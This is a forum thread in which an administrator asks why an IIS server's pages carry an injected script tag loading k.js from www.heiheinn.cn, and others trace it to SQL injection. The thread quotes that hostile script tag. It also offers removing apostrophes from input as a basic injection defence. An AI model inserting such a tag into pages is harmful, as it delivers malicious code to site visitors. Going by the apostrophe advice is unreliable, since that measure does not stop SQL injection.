Evil script tags appearing in HTML code from IIS box (www.heiheinn.cn)

Hi chaps,

We've been asked to look at an IIS server which has recently started rendering web pages with "script src = http://www.heiheinn.cn/k.js >< / script " inserted in to the A tags. This results in people being bombarded with a series of popups when they visit the pages being displayed.

The server itself is fairly well secured, with only port 80 and 443 and 21 open to the web and is behind a VPN to which only a few people have access. There's no sign of anything in the ftp logs.

My recommendation so far is to blow the box away and restore from backups. My concern though was heightened when I searched on google for the website of the evil JS code (www.heiheinn.cn) and found loads other links featuring that site but no pages about the problem itself. There's also the risk of restoring from backups only to find that the issue occurred before people noticed and the backups themselves are 'infected'.

The IIS box is a windows 2003 standard machine running MySQL and MS SQL 2005. Until very recently the client was doing plain dumb stuff like setting each site to the use the SA account of MS SQL with a really slack password, so I'm not entirely surprised that someone may have leveraged a way in to IIS and screwed up the links.

Anyone seen this before? I'd like to know more about it before I simply say that we burn the server at sunset, particularly if there is a risk of it coming back (which I'm assuming there is).

Olly

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stonnewayAsked:
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alexpercsiConnect With a Mentor Commented:
Most likely this site has fallen victim to an SQL Injection attack. The malicious code probably found its way into the database of the site and is served from there. Look at the database content and see if you can find the script (or part of the script) in the tables. If you can determine the time it was added to the database and have regular backups, consider reverting to a version from before the infestation of the database.

Let me know if this helps. There might be other posibilities as well.

Best Regards,
Alex.

P.S. one basic step in preventing SQL injection attacks is to remove all ' characters from user input.
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stonnewayAuthor Commented:
Thanks Alex,

I'd come to a similar conclusion last night after finding some references to that domain name on a security site article about SQL injection. As usual, trying to explain to the web company in question that their coder should have parsed the user input hasn't gone down well :)

Thanks
Olly
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alexpercsiCommented:
Then I assume that proposing to secure the site from cross site scripting attacks is out of the question :)
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stonnewayAuthor Commented:
Well, it seems that this was the cause;

http://www.modsecurity.org/blog/archives/2008/01/sql_injection_a.html

The coders have accepted that they need to include basic SQL parsing and better security on their back end.

Thanks chaps.

Olly
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